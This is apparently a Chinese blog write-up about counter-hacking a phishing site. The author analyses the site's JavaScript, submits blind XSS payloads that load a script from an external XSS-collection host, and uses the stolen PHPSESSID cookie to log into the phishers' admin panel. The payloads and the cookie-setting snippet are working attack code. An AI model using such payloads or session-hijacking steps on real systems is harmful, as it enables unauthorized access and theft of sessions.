收到了一封钓鱼邮件,不知道点到了什么就不小心进入了后台...

起因

图1

收到了一封钓鱼邮件,点开看了看,准备玩玩

分析前端

进入钓鱼网站首页是一张图片,点击图片后会跳转到一个新的页面

图2
图3

随便尝试提交一个数据,可以看到是一个名为 ds 的函数发起的 POST 请求

图4

找到这个函数所在的 js,稍稍向下翻可以看到 ds 函数的用例,分别是提交账号、密码和验证码

document.write('<script src="../app/data.php?sv=js&'+Math.random()+'"><\/script>');
function ds(act,data){
    console.log(data);
    $.post('../app/data.php','sv='+encodeURIComponent(b6(b6(JSON.stringify({act:act||'sv',data:data})))),function(d){
        d = dejson(d);
    });    
}

// .......... 省略 ..........

// console.log("ds('sv',{user:'4165456',pass:'446565'});");
// console.log("ds('sv',{code:'4165456'});");


// .......... 省略 ..........

可以直接使用 ds 函数发送包含 XSS 代码的数据

XSS 注入

在控制台执行 ds 函数,插入一条包含 XSS 代码的数据

ds('sv',{user:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>",pass:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>"});

执行成功后页面跳转到输入验证码界面,再执行一次 ds 函数插入验证码

ds('sv',{code:"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss**.**/wel';>"});

接下来等待上钩...

进入后台

图5

在提交数据没几分钟后 XSS 脚本就成功执行,获取到了后台截图、后台地址、Cookie 等信息,

在后台登录页面为自己添加了脚本获取的 Cookie,刷新页面就成功进入了后台

var cookiestr="PHPSESSID=7cf4f5**********590";var arr = cookiestr.split(";");
for(var i in arr){
 document.cookie=arr[i];
}

图6